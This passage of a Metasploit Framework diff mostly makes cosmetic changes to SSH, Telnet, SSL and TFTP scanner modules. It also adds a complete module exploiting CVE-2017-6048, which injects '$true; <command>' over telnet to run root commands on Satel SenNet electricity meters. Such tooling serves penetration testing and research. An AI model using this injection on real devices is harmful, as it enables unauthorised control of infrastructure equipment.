   include Msf::Auxiliary::Scanner
@@ -143,7 +142,7 @@ class MetasploitModule < Msf::Auxiliary
      loot_filename = "ubee_wifi.txt"
      loot_desc     = "Ubee Wifi configuration data"
      p = store_loot(loot_name, loot_type, datastore['RHOST'], wifiinfo , loot_filename, loot_desc)
-     print_status("WIFI Data saved: #{p}")
+     print_good("WiFi Data saved: #{p}")
 
      rescue ::SNMP::UnsupportedVersion
      rescue ::SNMP::RequestTimeout
diff --git a/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb b/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb
index 4faadb2ff4..8487e90b45 100644
--- a/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb
+++ b/modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SNMPClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/ssh/apache_karaf_command_execution.rb b/modules/auxiliary/scanner/ssh/apache_karaf_command_execution.rb
index 7ed8b877b6..82ca5afee1 100644
--- a/modules/auxiliary/scanner/ssh/apache_karaf_command_execution.rb
+++ b/modules/auxiliary/scanner/ssh/apache_karaf_command_execution.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -86,7 +86,7 @@ class MetasploitModule < Msf::Auxiliary
         Net::SSH.start(ip, user, opts)
       end
       if ssh
-        print_good("#{ip}:#{rport}- Login Successful with '#{user}:#{pass}'")
+        print_good("#{ip}:#{rport} - Login Successful ('#{user}:#{pass})'")
       else
         print_error "#{ip}:#{rport} - Unknown error"
       end
diff --git a/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb b/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb
index cd127bff23..4e5c312cdc 100644
--- a/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb
+++ b/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'net/ssh'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
 
@@ -84,7 +83,7 @@ class MetasploitModule < Msf::Auxiliary
     auth = Net::SSH::Authentication::Session.new(transport, opt_hash)
     auth.authenticate("ssh-connection", Rex::Text.rand_text_alphanumeric(8), Rex::Text.rand_text_alphanumeric(8))
     auth_method = auth.allowed_auth_methods.join('|')
-    print_status "#{peer(ip)} Server Version: #{auth.transport.server_version.version}"
+    print_good "#{peer(ip)} Server Version: #{auth.transport.server_version.version}"
     report_service(
       host:  ip,
       port:  rport,
diff --git a/modules/auxiliary/scanner/ssh/detect_kippo.rb b/modules/auxiliary/scanner/ssh/detect_kippo.rb
index 3796014f7d..da4f854ed9 100644
--- a/modules/auxiliary/scanner/ssh/detect_kippo.rb
+++ b/modules/auxiliary/scanner/ssh/detect_kippo.rb
@@ -1,5 +1,9 @@
-class MetasploitModule < Msf::Auxiliary
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -43,5 +47,4 @@ class MetasploitModule < Msf::Auxiliary
       vprint_status("#{ip}:#{rport} - #{banner.strip} detected")
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/ssh/fortinet_backdoor.rb b/modules/auxiliary/scanner/ssh/fortinet_backdoor.rb
index 8bf9aa7fa9..e06d3100f5 100644
--- a/modules/auxiliary/scanner/ssh/fortinet_backdoor.rb
+++ b/modules/auxiliary/scanner/ssh/fortinet_backdoor.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SSH
   include Msf::Exploit::Remote::Fortinet
   include Msf::Auxiliary::Scanner
@@ -78,5 +77,4 @@ class MetasploitModule < Msf::Auxiliary
   def rport
     datastore['RPORT']
   end
-
 end
diff --git a/modules/auxiliary/scanner/ssh/juniper_backdoor.rb b/modules/auxiliary/scanner/ssh/juniper_backdoor.rb
index 685e38e285..79e151e3c2 100644
--- a/modules/auxiliary/scanner/ssh/juniper_backdoor.rb
+++ b/modules/auxiliary/scanner/ssh/juniper_backdoor.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'net/ssh'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::SSH
@@ -80,5 +79,4 @@ class MetasploitModule < Msf::Auxiliary
   def rport
     datastore['RPORT']
   end
-
 end
diff --git a/modules/auxiliary/scanner/ssh/karaf_login.rb b/modules/auxiliary/scanner/ssh/karaf_login.rb
index a91bf09e36..a54b319907 100644
--- a/modules/auxiliary/scanner/ssh/karaf_login.rb
+++ b/modules/auxiliary/scanner/ssh/karaf_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -8,7 +8,6 @@ require 'metasploit/framework/login_scanner/ssh'
 require 'metasploit/framework/credential_collection'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::CommandShell
   include Msf::Auxiliary::AuthBrute
diff --git a/modules/auxiliary/scanner/ssh/ssh_enumusers.rb b/modules/auxiliary/scanner/ssh/ssh_enumusers.rb
index 07c098488c..265cf9071e 100644
--- a/modules/auxiliary/scanner/ssh/ssh_enumusers.rb
+++ b/modules/auxiliary/scanner/ssh/ssh_enumusers.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'net/ssh'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::CommandShell
@@ -192,5 +191,4 @@ class MetasploitModule < Msf::Auxiliary
       user_list.each{ |user| show_result(attempt_user(user, ip), user, ip) }
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb
index ffff74e390..2655f99ce9 100644
--- a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb
+++ b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -8,7 +8,6 @@ require 'sshkey' # TODO: Actually include this!
 require 'net/ssh/pubkey_verifier'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::AuthBrute
   include Msf::Auxiliary::Report
@@ -385,5 +384,4 @@ class MetasploitModule < Msf::Auxiliary
       end
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/ssh/ssh_login.rb b/modules/auxiliary/scanner/ssh/ssh_login.rb
index de9d1d527f..d9c760994f 100644
--- a/modules/auxiliary/scanner/ssh/ssh_login.rb
+++ b/modules/auxiliary/scanner/ssh/ssh_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -9,7 +9,6 @@ require 'metasploit/framework/login_scanner/ssh'
 require 'metasploit/framework/credential_collection'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::AuthBrute
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::CommandShell
@@ -18,19 +17,20 @@ class MetasploitModule < Msf::Auxiliary
 
   def initialize
     super(
-      'Name'        => 'SSH Login Check Scanner',
-      'Description' => %q{
+      'Name'           => 'SSH Login Check Scanner',
+      'Description'    => %q{
         This module will test ssh logins on a range of machines and
         report successful logins.  If you have loaded a database plugin
         and connected to a database this module will record successful
         logins and hosts so you can track your access.
       },
-      'Author'      => ['todb'],
+      'Author'         => ['todb'],
       'References'     =>
         [
           [ 'CVE', '1999-0502'] # Weak password
         ],
-      'License'     => MSF_LICENSE
+      'License'        => MSF_LICENSE,
+      'DefaultOptions' => {'VERBOSE' => false} # Disable annoying connect errors
     )
 
     register_options(
@@ -96,7 +96,6 @@ class MetasploitModule < Msf::Auxiliary
 
   def run_host(ip)
     @ip = ip
-    print_brute :ip => ip, :msg => "Starting bruteforce"
 
     cred_collection = Metasploit::Framework::CredentialCollection.new(
       blank_passwords: datastore['BLANK_PASSWORDS'],
@@ -139,16 +138,12 @@ class MetasploitModule < Msf::Auxiliary
         session_setup(result, scanner.ssh_socket)
         :next_user
       when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
-        if datastore['VERBOSE']
-          print_brute :level => :verror, :ip => ip, :msg => "Could not connect: #{result.proof}"
-        end
+        vprint_brute :level => :verror, :ip => ip, :msg => "Could not connect: #{result.proof}"
         scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed?
         invalidate_login(credential_data)
         :abort
       when Metasploit::Model::Login::Status::INCORRECT
-        if datastore['VERBOSE']
-          print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
-        end
+        vprint_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
         invalidate_login(credential_data)
         scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed?
       else
@@ -157,5 +152,4 @@ class MetasploitModule < Msf::Auxiliary
       end
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb
index b55dbb35ba..e76183b179 100644
--- a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb
+++ b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,6 @@ require 'sshkey'
 require 'net/ssh/command_stream'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::AuthBrute
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::CommandShell
diff --git a/modules/auxiliary/scanner/ssh/ssh_version.rb b/modules/auxiliary/scanner/ssh/ssh_version.rb
index 32c211e531..e35d4e375d 100644
--- a/modules/auxiliary/scanner/ssh/ssh_version.rb
+++ b/modules/auxiliary/scanner/ssh/ssh_version.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -84,7 +84,7 @@ class MetasploitModule < Msf::Auxiliary
           end
         end
 
-        print_status("SSH server version: #{ident}#{info}")
+        print_good("SSH server version: #{ident}#{info}")
         report_service(host: rhost, port: rport, name: 'ssh', proto: 'tcp', info: ident)
       end
     rescue Timeout::Error
diff --git a/modules/auxiliary/scanner/ssl/openssl_ccs.rb b/modules/auxiliary/scanner/ssl/openssl_ccs.rb
index 1bde7ee245..09979e6eeb 100644
--- a/modules/auxiliary/scanner/ssl/openssl_ccs.rb
+++ b/modules/auxiliary/scanner/ssl/openssl_ccs.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -196,6 +195,5 @@ class MetasploitModule < Msf::Auxiliary
 
     true
   end
-
 end
 
diff --git a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb
index fe6d38ca64..5544f83e2d 100644
--- a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb
+++ b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,6 @@
 # TODO: Extract the relevant functions and include them in the framework
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -130,13 +129,14 @@ class MetasploitModule < Msf::Auxiliary
       ],
       'References'     =>
         [
-          ['CVE', '2014-0160'],
-          ['US-CERT-VU', '720951'],
-          ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A'],
-          ['URL', 'http://heartbleed.com/'],
-          ['URL', 'https://github.com/FiloSottile/Heartbleed'],
-          ['URL', 'https://gist.github.com/takeshixx/10107280'],
-          ['URL', 'http://filippo.io/Heartbleed/']
+          [ 'AKA', 'Heartbleed' ],
+          [ 'CVE', '2014-0160' ],
+          [ 'US-CERT-VU', '720951' ],
+          [ 'URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A' ],
+          [ 'URL', 'http://heartbleed.com/' ],
+          [ 'URL', 'https://github.com/FiloSottile/Heartbleed' ],
+          [ 'URL', 'https://gist.github.com/takeshixx/10107280' ],
+          [ 'URL', 'http://filippo.io/Heartbleed/' ]
         ],
       'DisclosureDate' => 'Apr 7 2014',
       'License'        => MSF_LICENSE,
@@ -517,7 +517,7 @@ class MetasploitModule < Msf::Auxiliary
         nil,
         'OpenSSL Heartbleed server memory'
       )
-      print_status("Heartbeat data stored in #{path}")
+      print_good("Heartbeat data stored in #{path}")
     end
 
     # Convert non-printable characters to periods
@@ -630,19 +630,19 @@ class MetasploitModule < Msf::Auxiliary
   def key_from_pqe(p, q, e)
     # Returns an RSA Private Key from Factors
     key = OpenSSL::PKey::RSA.new()
+    key.set_factors(p, q)
 
-    key.p = p
-    key.q = q
-
-    key.n = key.p*key.q
-    key.e = e
-
+    n = key.p * key.q
     phi = (key.p - 1) * (key.q - 1 )
-    key.d = key.e.mod_inverse(phi)
+    d = OpenSSL::BN.new(e).mod_inverse(phi)
 
-    key.dmp1 = key.d % (key.p - 1)
-    key.dmq1 = key.d % (key.q - 1)
-    key.iqmp = key.q.mod_inverse(key.p)
+    key.set_key(n, e, d)
+
+    dmp1 = key.d % (key.p - 1)
+    dmq1 = key.d % (key.q - 1)
+    iqmp = key.q.mod_inverse(key.p)
+
+    key.set_crt_params(dmp1, dmq1, iqmp)
 
     return key
   end
@@ -835,5 +835,4 @@ class MetasploitModule < Msf::Auxiliary
     # TODO: return hash with data
     true
   end
-
 end
diff --git a/modules/auxiliary/scanner/steam/server_info.rb b/modules/auxiliary/scanner/steam/server_info.rb
index 02605c7ae4..406569f1d5 100644
--- a/modules/auxiliary/scanner/steam/server_info.rb
+++ b/modules/auxiliary/scanner/steam/server_info.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/telephony/wardial.rb b/modules/auxiliary/scanner/telephony/wardial.rb
index 357a14a5ad..b7b73e3586 100644
--- a/modules/auxiliary/scanner/telephony/wardial.rb
+++ b/modules/auxiliary/scanner/telephony/wardial.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -34,7 +34,6 @@ class Object
 end
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
 
@@ -443,5 +442,4 @@ class MetasploitModule < Msf::Auxiliary
     print("\n") if @displaymodem
     return banner
   end
-
 end
diff --git a/modules/auxiliary/scanner/telnet/brocade_enable_login.rb b/modules/auxiliary/scanner/telnet/brocade_enable_login.rb
index f04499dfb8..e7c4324142 100644
--- a/modules/auxiliary/scanner/telnet/brocade_enable_login.rb
+++ b/modules/auxiliary/scanner/telnet/brocade_enable_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/credential_collection'
 require 'metasploit/framework/login_scanner/telnet'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Telnet
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
@@ -133,7 +132,7 @@ class MetasploitModule < Msf::Auxiliary
           credential_core = create_credential(credential_data)
           credential_data[:core] = credential_core
           create_credential_login(credential_data)
-          print_good("#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}")
+          print_good("#{ip}:#{rport} - Login Successful: #{result.credential}")
           start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner)
         else
           invalidate_login(credential_data)
diff --git a/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb b/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb
index d863e521d1..4bf1e0ce44 100644
--- a/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb
+++ b/modules/auxiliary/scanner/telnet/lantronix_telnet_password.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -110,5 +110,4 @@ class MetasploitModule < Msf::Auxiliary
       return nil
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb b/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb
index 2047041f4d..c847e442e2 100644
--- a/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb
+++ b/modules/auxiliary/scanner/telnet/lantronix_telnet_version.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Telnet
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -35,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary
       ::Timeout.timeout(to) do
         res = connect
         if banner.start_with? "MAC address"
-          print_status("#{ip}:#{rport} TELNET: #{banner}")
+          print_good("#{ip}:#{rport} TELNET: #{banner}")
           version = banner.match(/Software version [\w\.]+ \(\d+\) \w*$/)[0]
           report_service(:host => rhost, :port => rport, :name => "telnet", :info => "Lantronix Version: #{version}" )
         end
diff --git a/modules/auxiliary/scanner/telnet/satel_cmd_exec.rb b/modules/auxiliary/scanner/telnet/satel_cmd_exec.rb
new file mode 100644
index 0000000000..0ed6e3e307
--- /dev/null
+++ b/modules/auxiliary/scanner/telnet/satel_cmd_exec.rb
@@ -0,0 +1,71 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::Telnet
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::Scanner
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name' => 'Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability',
+      'Description' => %q{
+        This module exploits an OS Command Injection vulnerability in Satel Iberia SenNet Data Loggers & Electricity Meters
+        to perform arbitrary command execution as 'root'.
+      },
+      'References'     =>
+        [
+          [ 'CVE', '2017-6048' ],
+          [ 'URL', 'https://ipositivesecurity.com/2017/04/07/sennet-data-logger-appliances-and-electricity-meters-multiple-vulnerabilties/' ],
+          [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-131-02' ]
+        ],
+      'Author' =>
+        [
+          'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
+        ],
+      'DisclosureDate' => 'Apr 07, 2017',
+      'License' => MSF_LICENSE,
+      'DefaultOptions' => { 'VERBOSE' => true })
+      )
+
+    register_options(
+      [
+        Opt::RPORT(5000),
+        OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30]),
+        OptString.new('CMD', [true, 'Command(s) to run', 'id'])
+      ], self.class
+    )
+
+    deregister_options('USERNAME', 'PASSWORD')
+  end
+
+  def run_host(ip)
+    to = (datastore['TIMEOUT'].zero?) ? 30 : datastore['TIMEOUT']
+    begin
+      ::Timeout.timeout(to) do
+        command = datastore['CMD']
+        inject = "$true; #{command}"
+        res = connect
+
+        print_status("Sending command now - #{command}")
+
+        sock.puts(inject)
+        data = sock.get_once(-1, to)
+        print_good("#{data}")
+
+        loot_name = 'cmd-exec-log'
+        loot_type = 'text/plain'
+        loot_desc = 'Satel SenNet CMD Exec Dump'
+        p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc)
+        print_good("File saved in: #{p}")
+      end
+    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
+      print_error("#{rhost}:#{rport} - Connection Failed...")
+      return false
+    ensure
+      disconnect
+    end
+  end
+end
diff --git a/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb b/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb
index 21c4d4dcb2..474caddd27 100644
--- a/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb
+++ b/modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Telnet
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -125,11 +124,15 @@ class MetasploitModule < Msf::Auxiliary
         )
 
       end
-    rescue ::Rex::ConnectionError
+    rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e
+      print_error("A network issue has occurred: #{e.message}")
+      elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
     rescue Timeout::Error
       print_error("#{target_host}:#{rport} Timed out after #{to} seconds")
+      elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
     rescue ::Exception => e
       print_error("#{target_host}:#{rport} Error: #{e} #{e.backtrace}")
+      elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
     ensure
       disconnect
     end
diff --git a/modules/auxiliary/scanner/telnet/telnet_login.rb b/modules/auxiliary/scanner/telnet/telnet_login.rb
index a0c5dc7c37..c57ca7e49c 100644
--- a/modules/auxiliary/scanner/telnet/telnet_login.rb
+++ b/modules/auxiliary/scanner/telnet/telnet_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/credential_collection'
 require 'metasploit/framework/login_scanner/telnet'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Telnet
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
@@ -89,7 +88,7 @@ class MetasploitModule < Msf::Auxiliary
         credential_core = create_credential(credential_data)
         credential_data[:core] = credential_core
         create_credential_login(credential_data)
-        print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
+        print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"
         start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner)
       else
         invalidate_login(credential_data)
@@ -111,5 +110,4 @@ class MetasploitModule < Msf::Auxiliary
 
     start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true, scanner.sock)
   end
-
 end
diff --git a/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb b/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb
index 0114666bf8..f0ae601643 100644
--- a/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb
+++ b/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Telnet
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -40,12 +39,12 @@ class MetasploitModule < Msf::Auxiliary
 
 
   def mac_to_password(mac)
-    print_status ("MAC Address: #{mac}")
+    print_status("MAC Address: #{mac}")
     mac_clean = mac.gsub("-","")
     mac_reverse = mac_clean.each_char.each_slice(2).to_a.reverse.join
     mac_reverse << "0000"
     pass = mac_reverse.hex % 999999929
-    print_status ("Password: #{pass}")
+    print_status("Password: #{pass}")
     return pass.to_s
   end
 
diff --git a/modules/auxiliary/scanner/telnet/telnet_version.rb b/modules/auxiliary/scanner/telnet/telnet_version.rb
index 53a3dfbc12..727c7f6e6b 100644
--- a/modules/auxiliary/scanner/telnet/telnet_version.rb
+++ b/modules/auxiliary/scanner/telnet/telnet_version.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Telnet
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -34,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary
         res = connect
         # This makes db_services look a lot nicer.
         banner_santized = Rex::Text.to_hex_ascii(banner.to_s)
-        print_status("#{ip}:#{rport} TELNET #{banner_santized}")
+        print_good("#{ip}:#{rport} TELNET #{banner_santized}")
         report_service(:host => rhost, :port => rport, :name => "telnet", :info => banner_santized)
       end
     rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e
diff --git a/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb b/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb
index 073af81ea7..d021bc671e 100644
--- a/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb
+++ b/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
 
@@ -109,7 +108,6 @@ class MetasploitModule < Msf::Auxiliary
     pkt << [block].pack("n") # Block Id
 
   end
-
 end
 
 =begin
diff --git a/modules/auxiliary/scanner/tftp/netdecision_tftp.rb b/modules/auxiliary/scanner/tftp/netdecision_tftp.rb
index 14053f7814..0f82ac2448 100644
--- a/modules/auxiliary/scanner/tftp/netdecision_tftp.rb
+++ b/modules/auxiliary/scanner/tftp/netdecision_tftp.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
 
@@ -110,5 +109,4 @@ class MetasploitModule < Msf::Auxiliary
     pkt << [block].pack("n") # Block Id
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/tftp/tftpbrute.rb b/modules/auxiliary/scanner/tftp/tftpbrute.rb
index c3c0e681b9..94dbb6d1fa 100644
--- a/modules/auxiliary/scanner/tftp/tftpbrute.rb
+++ b/modules/auxiliary/scanner/tftp/tftpbrute.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
 
@@ -50,7 +48,7 @@ class MetasploitModule < Msf::Auxiliary
         udp_sock.sendto(pkt, ip, datastore['RPORT'])
         resp = udp_sock.get(3)
         if resp and resp.length >= 2 and resp[0, 2] == "\x00\x03"
-          print_status("Found #{filename} on #{ip}")
+          print_good("Found #{filename} on #{ip}")
